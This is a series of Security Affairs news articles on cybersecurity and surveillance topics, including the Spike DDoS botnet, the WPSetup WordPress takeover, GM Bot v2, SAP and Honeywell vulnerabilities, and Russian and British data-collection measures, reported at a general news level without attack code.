Speaking before the House Armed Services Committee on Thursday, Defense Secretary Chuck Hagel admitted that ISIS is dodging the US Intelligence:, “ISIL fighters have been forced to alter their tactics—maneuvering in smaller groups, hiding large equipment, and changing their communications methods,” Hagel said., The ISIS is hiding its members into civilian population, limiting its exposure though high-power radios, satellite and cellphones. There is the concrete possibility that ISIS militants are exploiting hidden services in the Tor network to communicate remaining anonymous, but analyzing the data related to the number of Tor users accessing from the areas controlled by the group it is possible to note a significant flexion. This circumstance could suggest that members of the ISIS are not migrating to this technology., ,  ,  , ,  , Intelligence officials fear that the document leaked by Edward Snowden on the NSA capabilities is helping the ISIS to avoid detection., ISIS has “likely learned a lot from recent unauthorized disclosures, and as many of their forces are familiar with the U.S. from their time in AQI Al Qaeda in Iraq, they have adapted well to avoiding detection.” said a U.S. intelligence official said., Pierluigi Paganini, (Security Affairs –  ISIS, Intelligence)

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According to Akamai’s Prolexic Security Engineering & Response Team (PLXsert) a new malware kit dubbed Spike was used by bad actors to run DDoS attacks through routers, smart thermostats, smart dryers and other devices to the Internet of Things category. The toolkit gets its name from the word “spike” discovered by the experts in the source code of the malware, other strings found inside the code possibly identified the author as ‘Mr Black’ while one payload was dubbed ‘DealwithDDoS’., The experts noticed that Spike botnets have carried out several DDoS attacks not only from Windows and Linux machines, but also from IoT devices, including freezers and Raspberry Pi. The new variant of malware used by Spike botnets  is based on an updated version of the Chinese language Spike malware that is targeting poorly configured Internet-of-Things devices., “Several Akamai customers have been targeted by DDoS attack campaigns launched from this botnet. One attack peaked at 215 gigabits per second and 150 million packets per second,” the company wrote in an advisory., , “These binaries have been targeting Linux operating systems principally, but now PLXsert has identified a new malware kit that can also infect Windows systems and embedded devices. Several iterations of the Spike DDoS toolkit can communicate and execute commands to infected Windows, desktop Linux and ARM-based devices running the Linux operating system (OS). Binary payloads from this toolkit are dropped and executed after the successful compromise of targeted devices, which may include PCs, servers, routers, Internet-of-Things devices (i.e., smart thermostat systems and washer/dryers) and home-based customer premises equipment routing devices.” states the advisory on the “Spike DDoS Toolkit”., The Spike DDoS Toolkit was used to run various kinds of DDoS attacks, including SYN, UDP, Domain Name System query, and GET floods against Linux based machines, Windows, ARM-based Linux hosts., “The ability of the Spike toolkit to generate an ARM-based payload suggests that the authors of such tools are targeting devices such as routers and IoT devices to expand their botnets for a post-PC era of botnet propagation,” says the Akamai advisory., The analysis of the binaries reveals that they were written about six months ago. The principal indicator for the presence of the Spike bot is the existence of a series of binaries that infect targeted operating systems, while PLXsert team detected binary payloads associated with the Spike DDoS toolkit that targeted desktop Linux OSs and ARM-based Linux hosts, the Russian anti-virus company Doctor Web also reported evidence of the payloads being ported to Windows machines., Akamai confirmed that the DDoS attacks launched with the Spike botnet can be mitigated using access control lists, the company has issued a SNORT signature that can help system administrator to mitigate application-layer GET flood attacks generated through the toolkit., Give a look to the Akamai advisory to have more detailed info for hardening the various operating systems hit by the Spike attacks., Pierluigi Paganini, (Security Affairs – Spike botnet, malware)

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According to experts at the WordPress security plugin WordFence, attackers are using automated scans to target freshly installed WordPress websites, taking advantage of administrators who fail to properly configure their server’s settings. The experts dubbed the attack WPSetup attack., Hackers launched thousands of scans each day, searching for the URL /wp-admin/setup-config.php, that new WordPress installs use to setup new sites., The attackers aim to find new WordPress installs that are not yet configured by the administrators., In the period between the end of May and mid-June, WordFence researchers observed a spike in the number of attacks targeting WordPress accounts from the end of May to mid-June., “In May and June, we saw our worst-of-the-worst IPs start using a new kind of attack targeting fresh WordPress installations.” states WordFence., “We also had our first site cleaning customer that was hit by this attack., Attackers scan for the following URL:, /wp-admin/setup-config.php, This is the setup URL that new installations of WordPress use. If the attacker finds that URL and it contains a setup page, it indicates that someone has recently installed WordPress on their server but has not yet configured it. At this point, it is very easy for an attacker to take over not just the new WordPress website, but the entire hosting account and all other websites on that hosting account.”, In just one day, on May 30, the experts observed roughly 7,500 scans a day, a peak in the malicious activity., , The WPSetup attack leverages on the fact that a user hasn’t finished setting up its WordPress installation, the attacker can exploit this condition to complete the user’s installation., The attackers operate with admin access, this means that they can enter their own database name, username, password, and database server. The attackers can take over the website running their own installation or creating a supplementary account., How the WPSetup Attack Gets Full Control of Your Hosting Account?, Once the attacker gains admin access to a WordPress website running on your hosting account, they can execute PHP code via a theme or plugin editor., The attackers can install a shell in a victim’s directory to access any files or websites on the account or access any databases or application data., “Once an attacker can execute code on your site, they can perform a variety of malicious actions. One of the most common actions they will take is to install a malicious shell in a directory in your hosting account. At that point they can access all files and websites on that account. They can also access any databases that any WordPress installation has access to, and may be able to access other application data.” continues the analysis., WordFence explained that the WPSetup attack is not new, but this is the first time for such kind of attack on a large-scale., WordFence recommends users to create a specially coded .htaccess file in the base of their web directory to avoid attackers access it before the installation is completed., “Before you install a fresh WordPress installation, create a .htaccess file in the base of your web directory containing the following:, Replace the ‘<your ip>’ with your own IP address. You can find this out by visiting a site like whatsmyip.org., This rule ensures that only you can access your website while you are installing WordPress. This will prevent anyone else from racing in, completing your installation and taking control of your hosting account by uploading malicious code., Once complete, you can remove the .htaccess rule and allow the rest of the world to access your website.”, Pierluigi Paganini , (Security Affairs –  WPSetup attack, WordPress)

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, Ein Twitter- Logo auf dem Display eines iPhones ist am 21.03.2014 in Kaufbeuren (Bayern) vor der türkischen Nationalflagge zu sehen. Foto: Karl-Josef Hildenbrand/dpa (zu dpa “Türkei blockiert Kurznachrichtendienst Twitter” vom 21.03.2014) +++(c) dpa – Bildfunk+++

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The best news of the week with Security Affairs, Once again thank you!, Pierluigi Paganini, (Security Affairs – Newsletter, SecurityAffairs)

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A security expert from French security outfit Sysdream, Issam Rabhi (@issam_rabhi), discovered a cross-site scripting vulnerability in Google France. Yes, you‘ve got it right, the website of the IT giant was affected by one of the most common vulnerabilities. According to the OWASP Top Ten, the cross-site scripting is the third most popular issue affecting web applications., , Such kind of flaw could be exploited by a malicious attacker for various attacks, including defacements and traffic hijacking., “XSS flaws occur whenever an application takes untrusted data and sends it to a web browser without proper validation or escaping. XSS allows attackers to execute scripts in the victim’s browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.” reads the description provided by the OWASP TOP 10., The experts reported the cross-site scripting vulnerability to Google on August 5th and the experts of the company fixed the vulnerability in just four days., Rabhi published a Proof-of-concept for the attack on his website, below the exploitation step by step:, Finally, the alert message box will pop up on the screen., The expert did not submit the bug under the Google bug bounty program, anyway he received kudos from his colleagues., Pierluigi Paganini, (Security Affairs – cross-site scripting, hacking),  

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, UK — Close up of a woman using laptop computer with web cam — Image by © Julian Winslow/ableimages/Corbis

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The UK-based privacy and civil liberties group Big Brother Watch has revealed that the British tax agency HMRC (Her Majesty’s Revenue and Customs) has recorded the voice of over 5.1 million Britons., The Her Majesty’s Revenue and Customs agency collected these voice records via the Voice ID service that was launched in January 2017. The service was created to allow UK citizens to authenticate when calling HMRC call centers using their voice., When the service was initially launched, the tax agency claimed users would be able to opt out of using it and continue to authenticate themselves by using usual methods., The Big Brother Watch group discovered that there’s no opt-out option when users call the agency support line., Every citizen accessing the service recorded a voice track to use with the Voice ID authentication feature, “Far from ‘encouraging’ customers, HMRC offers no choice but to do as the automated system instructs and create a biometric voice ID for a Government database.” reads the Big Brother Watch., “In our investigation, we found that the only way to avoid creating a voice ID is to say “no” to the system – three times – before the system resolves to create your voice ID “next time”.”, Advocated at the Big Brother Watch group claim the HMRC is outlaw because it doesn’t provide a clear way of opting out and because there is no way to ask the agency to remove voice track from HMRC’s database., The Big Brother Watch filed freedom of information (FOIA) requests, but the tax agency refused to provide instruction to the users on how to delete their voice tracks from HMRC’s database., , Another aspect that is still under investigation is how the agency manages voice tracks and if it shares them with third-parties and government agencies., It is clear that the that the Her Majesty’s Revenue and Customs agency is not in compliance with the GDPR regulation that was adopted by EU member states., Big Brother Watch officials are inviting Britons to file a complaint with the HMRC and with the UK’s Information Commissioner’s Office (ICO), this latter already started an official investigation into HMRC’s process., Pierluigi Paganini, (Security Affairs – Her Majesty’s Revenue and Customs agency, privacy)

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The report highlights the growth of damage caused by hackers who adopts new attack vectors techniques like the ones used recently by Lebanese intelligence agency Dark Caracal, According to a report published by TrendMicro, Business Email Compromise (BEC) attacks had surpassed the value of damage to enterprises in the past years and it is estimated that it could reach $ 9 billion dollars in 2018. This rising value of loss for business takes into account new attack vectors like the one from Lebanese Intelligence Agency Dark Caracal malware who utilizes malware in android application., The report states that the FBI released a public announcement revealing that BEC attacks had become a $ 5.3 billion industry in the past years. In that regard, the report emphasizes that hackers are employing Social Engineering to lure and deceive employees in a myriad of scams to bypass security measures. By using a deep understanding of Human Psychology hackers are circumventing the defenses, as the report states ” it requires little in the way of special tools or technical knowledge to pull off, instead of requiring an understanding of human psychology and knowledge of how specific organizations work.”, The report lists how BEC attacks are usually conducted. The techniques are: Bogus invoice scheme, CEO fraud, Account compromise, Attorney impersonation and Data Theft. The report highlight that these attacks can be classified into two major groups: Credential grabbing and email only., , The credential grabbing technique as detailed by the report has shown an increase in phishing HTML pages that are sent as spam attachments. Also, by employing malware campaign hackers target organizations. One recent example of malware is Zyklon that exploits flaws in Microsoft Office. The charts in the report shown that the attacks have doubled in the period from January to September 2017., As discovered by researchers in the report, the two main types of malware techniques employed are keyloggers and Remote Access Tools (RAT). Since these tools are low cost and effective they can harvest all credentials on any infected machines. Malware techniques are very hard to detect by anti-virus since they are widely shared in forums or placed in applications commonly used on a daily basis. The report lists the most common malware used in Business Email Compromise attacks: AgentTesla, CyborgLogger, DarkComet, DiamondFox, Dracula Logger, iSpy Keylooger, Knight Logger and Luminosity Link., The report also suggests how to defend and avoid against BEC attacks: Employee awareness and education, verifying emails received, verification of the legitimacy of executive requests, verification of requests from vendors and suppliers, verification of any requests and the adoption of a security culture within the organization., Sources:, About the author Luis Nakamoto, Luis Nakamoto is a Computer Science student of Cryptology and a enthusiastic of information security having participated in groups like Comissão Especial de Direito Digital e Compliance (OAB/SP) and CCBS (Consciência Cibernética Brasil) as a researcher in new technologies related to ethical hacking, forensics and reverse engineering. Also a prolific and compulsive writer participating as a Redactor to Portal Tic from Sebrae Nacional., Pierluigi Paganini, (Security Affairs – Business Email Compromise, cybercrime)

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SAP has released February 2018 Patches that addressed some high-risk vulnerabilities in its software, a total of 26 Security Notes (5 high-, 19 medium- and 2 low-risk). Once again, the missing authorization check is the most common vulnerability type this month., The Security Notes SAP addresses three cross-site scripting (XSS) vulnerabilities, two directory traversal flaws, two information disclosure bugs, two missing authorization checks, one unrestricted file upload, and other issues., Affected products are the Internet Graphics Server (IGS), NetWeaver System Landscape Directory, HANA Extended Application Services, ABAP File Interface, SAP CRM, ERP Financials Information System, Netweaver Portal, Netweaver Java Web Application, CRM WebClient UI, BI Launchpad, and SAP HANA., “On 13th of February 2018, SAP Security Patch Day saw the release of 11 Security Notes. Additionally, there were 3 updates to previously released security notes.” reads the advisory published by SAP., , SAP also addressed previous Security Notes that includes an incorrect authorization check in ERP Logistics, a cross-site request forgery (CSRF) vulnerability in SAP Sybase, and a flaw that ties the way the SAP Note Assistant handles digitally signed notes., Three critical vulnerabilities were reported by Mathieu Geli, Vahagn Vardanyan, and Vladimir Egorov, researchers at ERPScan security firm., The details of the issues fixed thanks to the support of the researchers are:, The most severe vulnerability addressed by the security updates is a missing authentication check in SAP NetWeaver System Landscape Directory tracked as CVE-2018-2368, which received a CVSS base score of 8.3., The flaw could be exploited by an attacker to access a service without any authorization, a circumstance that could lead to several attacks, including the privilege escalation and information disclosure,, “A Missing Authentication check vulnerability in SAP NetWeaver System Landscape Directory (CVSS Base Score: 8.3 CVE-2018-2368). Update is available in SAP Security Note 2565622. An attacker can use Missing authorization check vulnerability for access to a service without any authorization procedures and use service functionality that has restricted access. This can lead to an information disclosure, privilege escalation and other attacks.” continues ERPScan., The updates also addressed:, Other vulnerabilities addressed this month included a directory traversal (CVE-2018-2367) in SAP ABAP File Interface (CVSS base score: 6.6) and a directory traversal (CVE-2018-2380) in SAP Internet Sales (CVSS base score: 6.6)., Further info related to the flaws addressed by SAP are available on the company blog., Pierluigi Paganini, (Security Affairs – SAP Security Notes February 2018, cybersecurity), ,

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Every day we read of a new data breach, in some cases, exposed data could have a severe impact on the victim., According to an NBC report, the Grindr gay-dating app was affected by 2 security issues (now patched) that could expose the information of its more than 3 million daily users., An attacker could have exploited the feature to access location data, private messages to other users, and profile information, even if they’d opted out of sharing such information., The security issues were identified by Trever Faden, CEO of the property management startup Atlas Lane, while he was working at his website C*ckblocked that allowed users to see who blocked them on Grindr., Faden discovered that once a Grindr logged in his service, it was possible to access to a huge quantity of data related to their Grindr account, including unread messages, email addresses, and deleted photos., NBC noted that C*ckblocked exploited a “similar security loophole” to one that was recently used by Cambridge Analytica to create a profile of more than 50 million Facebook users., “Grindr makes public the location of many of its users, but allows for users to opt out of this feature. Faden found that he could find the location of users who had opted out if they connected their Grindr profiles through his third-party website.” reported NBC., “One could, without too much difficulty or even a huge amount of technological skill, easily pinpoint a user’s exact location,” Faden explained. , , Grindr confirmed it was aware of the issue discovered by Faden and it had addressed them. Faden shut down his service after Grindr changed its policy on access to data on which users had blocked other users., Grindr recommends its users to avoid using Grindr logins for other apps or web services., “Grindr moved quickly to make changes to its platform to resolve this issue,” the company said in the statement. “Grindr reminds all users that they should never give away their username and password to any third parties claiming to provide a benefit, as they are not authorized by Grindr and could potentially have malicious intent.”, The company published the following statement on its official Twitter account:, As a company that serves the LGBTQ community, we understand the delicate nature of our users’ privacy. Ensuring safety and security of our users is of paramount importance to us and will continue to be our top priority. pic.twitter.com/vD2zXqxSr0, — Grindr (@Grindr) March 29, 2018, , In the past, other experts found similar issues in the Grindr service, in 2014 researchers at cybersecurity firm Synack found that it allowed any user see the profiles and locations of people. Unfortunately, the problems were not completely fixed and two years after Wired published an interesting article about the experiments of experts that were still able to figure out users’ locations., Pierluigi Paganini, (Security Affairs – privacy, Grindr gay-dating app)

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The availability of the source code of a malware in the criminal underground represents a great opportunity for crooks that can customize the threat allowing its evolution in an unpredictable way., After the source code of the Android banking Trojan GM Bot was leaked online, a new version of the threat appeared in the wild., In February, the experts at IBM X-Force threat intelligence discovered the source code for Android malware GM Bot was leaked on an underground. The source code was leaked in December 2015, it includes the bot component and the control panel., Of course, the code rapidly spread within the criminal ecosystem, it now that is available online for free malware developers started to work on it., GM Bot appeared in the wild in 2014, when the authors were offering it in the Russian underground as a powerful instrument for mobile phishing., , The malware implements a number of features to target Android users, including intercepting SMS messages. The malware allows attackers to gain control of the targeted device, including the customization of fake screens., In short, mobile banking Trojans such as GM Bot are a one-stop fraud shop for criminals:, The original creator of the Android malware sold the rights to distribute GM Bot v1 (aka MazarBot) to other cyber criminal organizations that are offering it for $5000., Other variants of GM Bot are known as MazarBot, SlemBunk, Bankosy, Acecard and Slempo., The new GM Bot v2 variant, which is currently in a testing phase, was developed from scratch by the original developer using the moniker “GanjaMan.”, “After news from IBM X-Force about the leak of Android malware GM Bot’s source code, the author of GM Bot released a second version of the malware. News of v2 came from the official GM Bot developer and vendor, a user going by the alias GanjaMan in venues where the malware is sold.” wrote Limor Kessem, cybersecurity evangelist at IBM., “According to an underground forum post authored by GM Bot’s vendor, it took six months’ worth of work for this updated version of GM Bot. GanjaMan adds that v2 was “written from scratch,” perhaps in order to emphasize that it does not use the previous version’s code, which was recently leaked by one of its dubious customers.”, According to the experts at the IBM Security, GanjaMan explained that GM Bot v2 includes three different Android exploits that can be used to infect mobile devices. The exploits have been already fixed by Google, so it is likely GanjaMan will add other exploits in the coming variants., The developer announced also significant improvements for the malware, including rootkit features and the use of the Tor communication channel., The new GM Bot v2 variant that includes all the available packages and exploits costs $15,000 and an additional $2,000 monthly rental fee that must be paid starting with the second month of use., Cybercriminals can decide to not pay for the exploits, in this case GM Bot v2 goes for $8,000 and a $1,200 monthly rental fee., “Judging by past cases of underground malware vendors, the monthly rental fees are most likely technical support fees. Trojan vendors have been known to run into debilitating operational issues as a result of having to provide support to their buyers without getting paid for the extra time spent on resolving issues, bugs and technical questions. The monthly fee concept helps the developers hire tech support agents to handle requests while they continue to develop and sell the malware,” continues Kessem., GanjaMan is also searching for peers pay-per-install accomplices and cybercriminals who can help with directing Web traffic in countries his buyers would be interested in targeting., Stay Tuned.,  , Pierluigi Paganini, (Security Affairs – Botnet, GM Bot v2)

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This year participants at the 2016 RSA Conference will have an ugly surprise, many vendors were provided with Samsung Galaxy S4 smartphones that run a special Android app, available on the Google Play, that allows them to keep track of visitors by scanning their badges., The mobile scanning cannot be used for anything except scanning badges, unless the administrator unlocks it using a password. This working mode is also note as “kiosk mode.”, Security experts at Bluebox Security downloaded analyzed the scanning app and discovered that authors embedded the default password in the source code in plain text., “When we used that passcode we were able to gain access to the kiosk app’s settings. This, in turn, let us gain access to the device’s system settings, which then enabled us to put the device into developer mode to gain full access to the device,” Bluebox Security researchers told Securityweek.com. “This is concerning because if we can do this, an attacker can too, letting them root the device, pull any data off of it, or install malware to steal even more data.”, “We speculate that the default code embedded in the app is there as a mechanism so that the device can still be managed even if the admin’s custom passcode is lost. However, it is a poor developer practice to embed passwords into an app’s shipped code, especially un-encrypted and un-obfuscated,” experts noted., , In this specific there aren’t serious risks for end-users, but it is quite common find mobile apps with hardcoded credentials. Hackers could exploit the embedded password to gain control of the device, at that point it a joke use it to spy on victims or to recruit is in a mobile botnet., Something similar has already happened in 2014 when experts at IOActive uncovered a number of flaws affecting the RSA Conference Android app, such as information disclosure issues., Security by design have to be a must for mobile app development, unfortunately due to the rapid diffusion of Rapid Application Mobile Development Tools is it quite easy to publish a mobile app, but in most cases the security requirements are totally ignored., It is curious that this thing happened at a conference followed by most important experts in the security field., Pierluigi Paganini, (Security Affairs – Badge Scanning App, mobile)

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The security expert Linus Henze has disclosed the existence of a zero-day vulnerability in macOS Mojave that can be exploited by malware to steal plaintext passwords from the Keychain. According to Henze, the flaw affects macOS Mojave and earlier versions. , The researcher did not report the vulnerability to Apple, it publicly disclosed the existence of the flaw without making public its details., Henze has published a video PoC for the flaw that shows how to use malware to extract passwords from the local Keychain password management system. The attack works on a system running the latest macOS Mojave OS version (10.14.3) , The attack is sneaky because it doesn’t require admin privileges for both the malicious app and the user account. The expert pointed out that the malicious code could exploit the flaw to steal passwords only from that user’s Keychain because other Keychains are locked., Why Henze did not report the flaw to Apple?, Simple, the expert explained that did not share his discovery with the tech giant because the company doesn’t operate a bug bounty program for macOS. Apple contacted the experts after the publication of the video asking for more details about the issue, but Henze refused to provide them without a bounty. , Currently, Apple’s bug bounty program only covers hardware, iOS and iCloud., The popular MacOS expert and former NSA white hat hacker Patrick Wardle also confirmed the that the exploit wotks., Got to play with @LinusHenze's 'KeySteal'. It's a lovely bug & exploit 😍😍✅ works on macOS 10.14.3✅ his payload dumps passwords, private keys, & tokensProtect yourself by:🔐manually locking your keychain🔐or setting a keychain-specific password Pierluigi Paganini, (SecurityAffairs – MacOS Mojave, hacking),

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Once again we are here to report about the NSA-linked Equation Group and its hacking arsenal leaked online by a group of hackers who called itself TheShadowBrokers. The group of hackers claimed to have hacked the NSA Equation Group, then he tried to sell the hacking tools and exploits in an online auction., According to the Reuters, sources close to the investigation revealed that the NSA knew about the data breach for three years but it maintained the secret in the case., The sources provided further elements of the alleged attack against the US Intelligence Agency, the NSA itself wasn’t directly hacked by the ShadowBrokers group and the NSA hacking tools and exploits were not stolen by the popular whistleblower Edward Snowden., According to the sources, it seems that an employee or a contractor mistakenly left the NSA hacking tools unattended on a remote server about three years ago during a cyber operation. The NSA was aware of the incident and did not inform the companies of the risks related to the exposure of the exploits., Now TheShadowBrokers complain that no one seems to be bidding on their precious archive, early Saturday morning, an alleged member of the hacker group expressed its dissent on the lack of interest in ponying up bitcoins to release the full NSA data dump., , At the time of this writing, the ShadowBrokers team has collected bids for a total of 1.76 bitcoins (roughly $1,100), but the dreaded team was expecting to earn as far as $1 million., “Peoples is having interest in free files. But people is no interest in #EQGRP_Auction. TheShadowBrokers is thinking this is information communication problem. You people be thinking as TheShadowBrokers. How you sell secrets? Making most money? Quickly? Least amount effort? Maintaining anonymity? You be making suggestion #EQGRP_Auction.” the ShadowBrokers’s member wrote in a post published on Medium. , There is still no evidence that TheShadowBrokers is a nation-state actor, neither it is currently working with the Kremlin., Back to the story, I’m not surprised that the remaining part of the hacking arsenal was not requested by any actor in the wild. The NSA avoided to disclose the alleged mistake in order to track and hack back the thieves., The NSA TAO team was able to scan the Internet for evidence of the use of the powerful tools. Another element to consider is that probably most of the exploit in the arsenal are no more effective because the data were stolen year ago., window._mNHandle = window._mNHandle || {}; window._mNHandle.queue = window._mNHandle.queue || ; medianet_versionId = "3121199"; try { window._mNHandle.queue.push(function () { window._mNDetails.loadTag("762221962", "300x250", "762221962"); }); } catch (error) {} , Pierluigi Paganini, (Security Affairs –  The Equation Group, ShadowBrokers)

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The threat to the technological solutions and to the secrets of the United States in the cyber space is relevant.  Foreign Organization, mainly Chinese and Russian are hunting for sensitive information of an economic and industrial nature, in public and private sectors., To denounce the actions under discussion is a report presented to Congress by the Office of the National  Counterintelligence Executive (ONCIX) that alerts the institutions on the possible interference in the governative affairs by partner and “hostile” states., The proliferation of malicious software, hacktivist actions, prevalence of cyber tool sharing, and routing of operations through third countries make it difficult to attribute responsibility for computer network intrusions. Of course there are also foreign collectors of sensible informations that are interested in all aspects of US economic activity and technology in the following areas:, Companies and governments are forced by events to support a significant economic cost for prevention and intrusion defense and the direct loss of intellectual property., In this scenario there are also companies who are not aware of the threat they facing and often they have to manage late situation of crisis related a suffered attack carried out against them. Those  companies usually do not report what happened to reduce the harm caused to their corporate image and reputation with investors, customers and employees., Latest data presented during several conferences show that the direct and indirect damage caused by cybercrime activities has a global amounted little less than $ 400 billion. Next year, the costs could easily double, following the current trend., Just to refer to a recent official data, the England a few days ago said to have suffered so far in 2011 as many as 24 billion pounds., China, Russia called out as cyberspy hotbeds, ONCIX Report

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The charge is heavy, according to some experts, Nokia analyzes user’s traffic officially to increase performance compressing data on some of its mobile devices. According many experts the popular company is responsible of the hijacking of user’s traffic on its servers, that is the case for the Nokia Asha models, for this reason on internet is circulated the news of a “Man In The Middle” attack against its clients., The Finnish company has admitted that it decrypts secure data that passes through HTTPS connections to apply a further compression that allows speed up the communications, but what does it mean?, The access to HTTPS traffic exposes user’s data such as banking credentials, email account credentials and other sensible information, a clear violation of privacy without user having been informed., The sensational discovery has been proposed by researcher Gaurang Pandya who proved that browser traffic from his Nokia (Series 40) “Asha” mobile was redirected through the servers od Nokia company. He documented the discovery in a first blog post and finally published the result of his research in another post having an eloquent title “Nokia’s MITM on HTTPS traffic from their phone”, , Obviously Nokia has immediately tried to reassure its clients, Nokia says that there is nothing to worry about., “We take the privacy and security of our consumers and their data very seriously. The proxy servers do not store the content of web pages visited by our users or any information they enter into them. Nokia has implemented appropriate organizational and technical measures to prevent access to private information. Claims that we would access complete unencrypted information are inaccurate.”, Following the conclusion of the researcher:, “From the tests that were preformed, it is evident that Nokia is performing Man In The Middle Attack for sensitive HTTPS traffic originated from their phone and hence they do have access to clear text information which could include user credentials to various sites such as social networking, banking, credit card information or anything that is sensitive in nature. In short, be it HTTP or HTTPS site when browsed through the phone in subject, Nokia has complete information unencrypted (in clear text format) available to them for them to use or abuse. Up on checking privacy statement in Nokia’s website following can be found.”, The research on  January 11th,2013 provided a further update that showed a meaningful change in the behavior of his device after an update:, Update of 11th January,2013, Just upgraded my Nokia browser, the version now is 2.3.0.0.48, and as expected there is a change in HTTPS behaviour. There is a good news and a bad news. The good news is with this browser,they are no more doing Man-In-The-Middle attack on HTTPS traffic, which was originally the issue, and the bad news is the traffic is still flowing through their servers. This time they are tunneling HTTPS traffic over HTTP connection to their server. Details are given below., This time again we had browsed  and found that again DNS requests are sent for Nokia/Ovi servers and this time it was “cloud13.xpress.nokia.com”. Up on receiving DNS reply, a HTTP tunnel is eshtablished between Mobile device and their cloud server and HTTPS traffic is tunneled over that HTTP tunnel., He also thanks Nokia officials for quickly responding to the issue and “getting it fixed on priority” showing company commitment towards privacy of their mobile customers., The case fell silent and the approach of the researcher has changed, but what happened is very serious and  raise some questions, Exactly one year ago Nokia was cited,  with RIM and Apple, to have provided to the Indian government, particularly its militia, a backdoor that provides the ability to control each mobile device., There were found some Indian Military internal documents that refer to a project called RINOA SUR, where the world RINOA stay for RIM, Nokia and Apple. The project is related to a platform used to spy on the USCC—the US-China Economic and Security Review Commission., The documents contain portions of emails sent by members of the USCC regarding the successfully usage of the RINOA SUR, and the Indian Navy has shown interest in the same. The documents suggest that RIM, NOKIA and Apple were required to providing backdoor access., At this point I think they are justifiable concerns of users, Governments are increasing the level of monitoring and more transparence on their operate is desirable. Whatever the reasons behind the choice of solution implemented by Nokia it is essential that users of its mobile devices are made aware of potential effects and consequences in terms of security., What would happen if a group of state-sponsored hackers or hacktivists compromise Nokia servers? Do you think it is so absurd?, I leave you with an extract of the privacy policy for browser published by Nokia:, “The URLs of such sites which you access with the Nokia Browser are stored by Nokia.” However, it does point out that: “Your browsing is not associated to any personally identifiable information and we do not collect any usernames or passwords or any related information on your purchase transactions, such as your credit card number during your browsing sessions.”, Pierluigi Paganini,  

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Honeywell has just released firmware updates for its Midas gas detectors to fix two high severity vulnerabilities., The Midas gas detectors are a category of product manufactured by Honeywell to detect toxic, ambient and flammable gasses in the environment., Midas gas detectors are usually used in light industrial manufacturing, university laboratories, semiconductor processing, and aerospace. Any unauthorized changes to the configuration of the Midas gas detectors could lead to wrong gas level measures, that could cause serious damage of industrial equipment and even the loss of human life., According to the security expert Maxim Rupp, the Midas gas detectors running firmware versions 1.13b1 and prior, and Midas Black products running firmware versions 2.13b1 and prior are affected by two serious flaws (CVE-2015-7907, CVE-2015-7908) that can be easily exploited without having specific skills., The first flaw (CVE-2015-7907) is a path traversal vulnerability that received the CVSS score of 8.6, it can be exploited by a remote attacker to bypass the authentication mechanism implemented to protect the web interface., The access to the web interface gives the attackers full control on the configuration of the Midas gas detectors, ill-intentioned can exploit it to launch calibration and test processes., The second flaw (CVE-2015-7908), that received the CVSS score of 9.4, is related to the transmission of the user passwords, the secret code are in fact transmitted in clear text., “Successful exploitation of these vulnerabilities could allow a remote attacker to gain unauthenticated access to the device, potentially allowing configuration changes, as well as the initiation of calibration or test processes.” states the Advisory published by the ICS-CERT., “Impact to individual organizations depends on many factors that are unique to each organization. NCCIC/ICS-CERT recommends that organizations evaluate the impact of these vulnerabilities based on their operational environment, architecture, and product implementation.”, , Basically, the attacker can bypass authentication on the vulnerable Midas gas detectors simply by typing the URL of the page they want to access, for example, Rupp also discovered that the administrator password in embedded in clear text in the source code of the Security.htm page., Rupp reported the flaws to the ICS-CERT which forwarded them to the Honeywell in July, the company fixed the vulnerabilities in October., Honeywell urges its customers to apply the security patches, meantime protect the access to the Midas gas detectors, for example placing them in DMZs and using a firewall., Pierluigi Paganini, (Security Affairs – Midas gas detectors, security)

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The terrorism is one of the dreaded threats on a global scale, almost every government is spending a significant effort in order to prevent plots against their population. Modern Terrorism is technological, it makes a large use of the Internet and cyber terrorists represent a concrete threat for every country., Many governments are discussing “anti-terrorism” legislations to contrast the threat, of course, privacy advocates are worried about the evolution of such kind of legal framework that could open the door to a massive surveillance and censorship. bill is now on its way to becoming law in Russia., In these days a new anti-terrorism bill is becoming law in Russia, it includes a large number of issues related to internet monitoring that will have a severe impact also on IT companies and ISPs that operate in the country. Telecom and internet companies have to record and store all customer communications for six months, potentially at a multitrillion-dollar cost., The internet firms will have to store all communications metadata for a year while telecom companies will have to store them for three years., The bill that is sustained by the United Russia party passed last Friday in the Duma, a landslide victory if we consider that it obtained 277 votes for, 148 against, and only one abstaining. It now moves to Russia’s Federal Council and the Kremlin, where it’s expected to pass into law., The next step is the final approval of the anti-terrorism bill by the Russia’s Federal Council and the Kremlin, but we have no doubts that it will be soon a Russian law.., Telecom operators and internet companies, for example, will have to record and store all customer communications for six months. This means that the companies will have to face multitrillion-dollar additional costs to be compliant with the new anti-terrorism law., The new law is being called an anti-terrorism bill, but it could be considered as the formal legalization of already ongoing surveillance activities., Yes, in Russia, like elsewhere, the Government already has the technology to conduct a massive network surveillance. In August 2014, the Russian Prime Minister Dmitry Medvedev has signed a decree that will extend the use of SORM-2 to social network surveillance., It’s known that the Russian Government is applying a strict surveillance on the Internet within the country, the Kremlin has developed a system code-named “SORM-2” to monitor Russian citizens., The Russian Government has obliged national ISPs to purchase and install the probes used by SORM-2 system that allows the Federal Security Service (FSB) to monitor Internet traffic including online communications., SORM-2 is a mass surveillance system that allows the Government of Moscow to track online activities of single individuals thanks to the support of Russian ISP., , The new anti-terrorism bill obliges all internet firms into providing mandatory backdoor access into encrypted communications for the Russian intelligence Agency (FSB)., According to the news shared with the media, the law will have no impact on instant messaging services implementing end-to-end encryption, this means that popular applications like Telegram, WhatsApp, Viber, and Signal will be out of the scope of the law. The bad news is that the law will extend to all the ISP operating in the country that will have to provide the Russian Intelligence the access to the entire traffic., The companies that will not be compliant with the anti-terrorism bill will face fines that can reach 1 million rubles ($15,000), but I think that financial sanctions are the tip of the iceberg., The government stiffens penalties for those who make online propaganda or who encourage discussion concerning terrorism. They risk imprisonment up to seven years., The anti-terrorism law also cover the omission of informing authorities about activities related to terrorism, it will be considered a crime too and authorities will punish the culprits with up to one year in prison.,  , Pierluigi Paganini, (Security Affairs – Anti-terrorism bill, Russia)

